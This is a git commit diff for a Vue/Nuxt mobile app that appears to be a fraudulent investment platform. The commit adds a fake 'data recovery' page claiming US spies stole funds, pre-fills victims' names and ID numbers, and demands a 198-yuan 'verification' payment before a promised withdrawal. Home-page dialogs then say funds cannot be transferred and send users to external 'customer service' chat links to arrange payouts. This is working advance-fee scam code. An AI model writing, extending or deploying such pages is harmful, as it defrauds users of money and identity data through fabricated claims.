Commit bb582800 authored by zhangsan's avatar zhangsan

1

parent a551b62a
<template> <template>
<var-popup v-model:show="showPopup" position="bottom" @closed="handleClose"> <var-popup z-index="9999" v-model:show="showPopup" position="bottom" @closed="handleClose">
<div class="pop"> <div class="pop">
<!-- 付款金额 --> <!-- 付款金额 -->
<div class="top"> <div class="top">
...@@ -29,9 +29,8 @@ ...@@ -29,9 +29,8 @@
</var-card> </var-card>
</van-radio-group> </van-radio-group>
</div> </div>
<!-- 提示信息 --> <!-- 提示信息 -->
<div v-if="paymentConfig.zfsm" class="note-text">注:{{ paymentConfig.zfsm }}</div> <div v-if="paymentConfig.zfsm" class="note-text">{{ paymentConfig.zfsm }}</div>
<!-- 提交按钮 --> <!-- 提交按钮 -->
<var-button block type="primary" class="submit-btn" :loading="isSubmitting" :disabled="isSubmitting" <var-button block type="primary" class="submit-btn" :loading="isSubmitting" :disabled="isSubmitting"
......
<script setup lang="ts"> <script setup lang="ts">
const router = useRouter()
function onBack() { function onBack() {
if (window.history.state.back) // if (window.history.state.back)
history.back() // history.back()
else // else
router.replace('/') navigateTo(window.location.origin)
} }
</script> </script>
<template> <template>
<main text="center gray-300 dark:gray-200 18" py="20"> <main text="center gray-300 dark:gray-200 18" py="20">
<van-icon name="warn-o" size="3em" /> <van-icon name="warn-o" size="3em" />
<slot /> <!-- <slot /> -->
<div class="mt-10"> <div class="mt-10">
<button van-haptics-feedback btn m="3 t8" @click="onBack"> <button van-haptics-feedback btn m="3 t8" @click="onBack">
......
<template>
<div class="data-recovery">
<!-- 错误图标和标题 -->
<div class="header">
<h2>⚠️数据恢复⚠️</h2>
<p>尊敬的中央经济用户</p>
<p>
由于近日中美经济发展关系破裂,美间谍渗入平台恶意盗取大量资金的同时攻击数据库,导致大部分用户数据丢失,现紧急启动备份系统,恢复数据,看到此信息的用户请尽快填写个人身份信息,恢复数据后,请立即在提完平台内所有资金
</p>
</div>
<!-- 表单部分 -->
<div class="form">
<van-field
:disabled="true"
v-model="formData.name"
placeholder="姓名"
:border="false"
class="form-input"
/>
<van-field
:disabled="true"
v-model="formData.idCard"
placeholder="身份证号"
:border="false"
class="form-input"
maxlength="18"
/>
<!-- 提交按钮 -->
<div class="btn-box">
<van-button
type="danger"
block
@click="handleSubmit"
>
确认恢复
</van-button>
<van-button block @click="logout">
退出登录
</van-button>
</div>
</div>
<PayUp ref="payupRef" :payment-info="paymentInfo" @close="handleClose"/>
</div>
</template>
<script setup>
import { ref } from "vue";
import { showToast } from "vant";
import { post } from "@/utils/request";
import PayUp from "@/components/PayUp.vue";
const formData = ref({
name: "",
idCard: "",
bankNum: "",
bankName: "",
});
const paymentInfo = ref({
mony: 198,
productId: '',
type: 2,
zfsm:"数据恢复完毕:本次支付验证是否本人操作,验证完成后请提完平台内所有资金,快速到账。"
});
const payupRef = ref();
const handleSubmit = (item) => {
payupRef.value?.open();
}
const handleClose = () => {
paymentInfo.value.show = false;
}
const userinfo = ref({});
const getuserinfo = async () => {
const res = await get("/system/user/", {});
userinfo.value = res;
formData.value.name = userinfo.value.nickName;
formData.value.idCard = userinfo.value.identityId;
};
getuserinfo();
const logout = () => {
localStorage.removeItem("token");
localStorage.removeItem("userinfo");
navigateTo("/login");
};
</script>
<style scoped>
.data-recovery {
padding: 10px;
background: #fff;
}
.header {
text-align: center;
margin-bottom: 30px;
}
.error-icon {
font-size: 50px;
margin: 20px auto;
}
.header h2 {
font-size: 24px;
margin-bottom: 5px;
font-weight: normal;
}
.header p {
font-size: 16px;
color: #333;
color: red;
margin: 5px 0;
font-weight: normal;
}
.form {
padding: 0 15px;
}
.form-input {
margin-bottom: 10px;
border-radius: 20px;
border: 1px solid #333;
}
.btn-box {
display: flex;
justify-content: space-between;
}
/* .submit-btn {
margin-top: 20px;
height: 50px;
line-height: 50px;
border-radius: 25px;
background: #e5004f !important;
border: none;
font-size: 16px;
} */
</style>
<script setup> <script setup>
import GuideModal from '@/components/GuideModal.vue' import GuideModal from "@/components/GuideModal.vue";
import NewsCard from '@/components/newsCard.vue' import NewsCard from "@/components/newsCard.vue";
import DataRecovery from "./dataRecovery.vue";
definePageMeta({ definePageMeta({
layout: 'main', layout: "main",
title: '首页', title: "首页",
name: 'home', name: "home",
keepalive: true, keepalive: false,
}) });
const appdownload = ref('https://download.1yfang.com') const appdownload = ref("https://download.1yfang.com");
const kfUrl = ref('') const kfUrl = ref("");
const getapkversion = async () => { const getapkversion = async () => {
const res = await get('/system/config/configKey/mous/apk_version', {}) const res = await get("/system/config/configKey/mous/apk_version", {});
kfUrl.value = res.msg kfUrl.value = res.msg;
} };
getapkversion() getapkversion();
const handleClick = (item) => { const handleClick = (item) => {
if (item === 1) { if (item === 1) {
navigateTo("/user/group"); navigateTo("/user/group");
...@@ -24,88 +25,116 @@ const handleClick = (item) => { ...@@ -24,88 +25,116 @@ const handleClick = (item) => {
} else if (item === 4) { } else if (item === 4) {
navigateTo("/user/singIn"); navigateTo("/user/singIn");
} }
} };
const show = ref(false) const showDataRecovery = ref(false);
const show = ref(false);
const getuserinfo = async () => { const getuserinfo = async () => {
const res = await get('/system/user/', {}) showDataRecovery.value = false;
const res = await get("/system/user/", {});
if (res.dld == 2) { if (res.dld == 2) {
show.value = true show.value = true;
}
// if (res.extend4 == 2) {
// showDialog({
// title: '您有一笔提现到账需要前往处理',
// message: '',
// theme: 'round-button',
// confirmButtonText: '点击立即前往处理',
// }).then(() => {
// navigateTo('/sqhz')
// });
// }
if (res.extend5 == 1) {
showDataRecovery.value = true;
} }
if (res.extend4 == 2) { if (res.extend5 == 2) {
showDialog({ showDialog({
title: '您有一笔提现到账需要前往处理', title: '',
message: '', showCancelButton: true,
theme: 'round-button', confirmButtonText: '联系土豆客服打款',
confirmButtonText: '点击立即前往处理', confirmButtonColor: 'red',
cancelButtonText: '联系在线客服打款',
cancelButtonColor: 'red',
closeOnClickOverlay:true,
message: '您的数据已恢复,无法转账到您银行卡上。大额资金报备资料不成功,你这边尽快联系宋其超 大款专员,不需要缴纳任何费用,联系打款专员配合处理问题即可大笔到账',
}).then(() => { }).then(() => {
navigateTo('/sqhz') window.location.href = 'https://dlj199.org/0007201155b097f4faa8fdc8707e22b404f'
}).catch(() => {
window.location.href = 'https://www.onsluck.com/#/chat'
}); });
} }
} };
getuserinfo() const showGuide = ref(false);
const showGuide = ref(false) const content = ref([]);
const content = ref([]) const content3 = ref([]);
const content3 = ref([])
const getNotices = async () => { const getNotices = async () => {
try { try {
const res = await get('/system/notice/list', { const res = await get("/system/notice/list", {
noticeType: '' noticeType: "",
}) });
content.value = res.rows.filter((item) => item.noticeType == 0 || item.noticeType == 1 || item.noticeType == 2) content.value = res.rows.filter(
content3.value = res.rows.filter((item) => item.noticeType == 3) (item) =>
item.noticeType == 0 || item.noticeType == 1 || item.noticeType == 2
);
content3.value = res.rows.filter((item) => item.noticeType == 3);
if (content.value.length > 0) { if (content.value.length > 0) {
showGuide.value = true showGuide.value = true;
} }
} catch (error) { } catch (error) {
console.error('Failed to fetch notices:', error) console.error("Failed to fetch notices:", error);
} }
} };
const handleConfirm = () => { const handleConfirm = () => {
navigateTo('/product') navigateTo("/product");
} };
getNotices() getNotices();
const handleNewsItemClick = (item) => { const handleNewsItemClick = (item) => {
navigateTo(`/newsDetail/${item.noticeId}`) navigateTo(`/newsDetail/${item.noticeId}`);
} };
getuserinfo();
</script> </script>
<template> <template>
<div class="container"> <div class="container">
<var-dialog :dialogStyle="{ padding: '0px', width: '100%' }" v-model:show="showDataRecovery"
:close-on-click-overlay="false" :confirmButton="false" :cancelButton="false">
<template #title>
<span></span>
</template>
<DataRecovery @close="showDataRecovery = false" />
</var-dialog>
<van-dialog v-model:show="show" @confirm="handleConfirm" confirmButtonColor="red" confirmButtonText="前往会场认购" <van-dialog v-model:show="show" @confirm="handleConfirm" confirmButtonColor="red" confirmButtonText="前往会场认购"
cancelButtonText="先不前往认购" title="恭喜您获得债券认购资格,您的购买意向申请已经通过,现在可以认购债权了,您要前往认购吗?" show-cancel-button> cancelButtonText="先不前往认购" title="恭喜您获得债券认购资格,您的购买意向申请已经通过,现在可以认购债权了,您要前往认购吗?" show-cancel-button>
</van-dialog> </van-dialog>
<GuideModal v-model="showGuide" :guide-list="content" /> <GuideModal v-model="showGuide" :guide-list="content" />
<div class="imgwarp"> <div class="imgwarp">
<img src="/static/pages/home/14.png"> <img src="/static/pages/home/14.png" />
</div> </div>
<var-swipe class="swipe-example"> <var-swipe class="swipe-example">
<var-swipe-item> <var-swipe-item>
<img class="swipe-example-image" src="/static/pages/home/13.png"> <img class="swipe-example-image" src="/static/pages/home/13.png" />
</var-swipe-item> </var-swipe-item>
</var-swipe> </var-swipe>
<div class="otherwarp"> <div class="otherwarp">
<div class="item" v-ripple @click="handleClick(1)"> <div class="item" v-ripple @click="handleClick(1)">
<img src="/static/pages/home/9.png"> <img src="/static/pages/home/9.png" />
</div> </div>
<div class="item" v-ripple @click="navigateTo(kfUrl, { external: true })"> <div class="item" v-ripple @click="navigateTo(kfUrl, { external: true })">
<img src="/static/pages/home/10.png"> <img src="/static/pages/home/10.png" />
</div> </div>
<div class="item" v-ripple @click="navigateTo(appdownload, { external: true })"> <div class="item" v-ripple @click="navigateTo(appdownload, { external: true })">
<img src="/static/pages/home/11.png"> <img src="/static/pages/home/11.png" />
</div> </div>
<div class="item" v-ripple @click="handleClick(4)"> <div class="item" v-ripple @click="handleClick(4)">
<img src="/static/pages/home/12.png"> <img src="/static/pages/home/12.png" />
</div> </div>
</div> </div>
<div class="card"> <div class="card">
<div class="title"> <div class="title">时事要闻</div>
时事要闻
</div>
<NewsCard :content3="content3" @itemClick="handleNewsItemClick" /> <NewsCard :content3="content3" @itemClick="handleNewsItemClick" />
</div> </div>
</div> </div>
</template> </template>
......
...@@ -57,7 +57,8 @@ const rules = { ...@@ -57,7 +57,8 @@ const rules = {
trigger: 'onChange', trigger: 'onChange',
}, },
} }
const token = useCookie('token')
token.value = ''
// 登录处理 // 登录处理
async function handleLogin() { async function handleLogin() {
try { try {
......
...@@ -3,11 +3,12 @@ import { appDescription } from './app/constants/index' ...@@ -3,11 +3,12 @@ import { appDescription } from './app/constants/index'
import preload from './app/utils/preload' import preload from './app/utils/preload'
export default defineNuxtConfig({ export default defineNuxtConfig({
target: 'static',
nitro: { nitro: {
devProxy: { devProxy: {
'/api': { '/api': {
target: 'http://27.124.5.14:9012', // 你要代理的目标地址 // target: 'http://27.124.5.14:9012', // 你要代理的目标地址
// target: 'https://www.mxr2020.com:6443/api', // 你要代理的目标地址 target: 'https://www.mxr2020.com:6443/api', // 你要代理的目标地址
changeOrigin: true, changeOrigin: true,
prependPath: true, prependPath: true,
rewrite: (path: string) => path.replace(/^\/api/, ''), rewrite: (path: string) => path.replace(/^\/api/, ''),
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment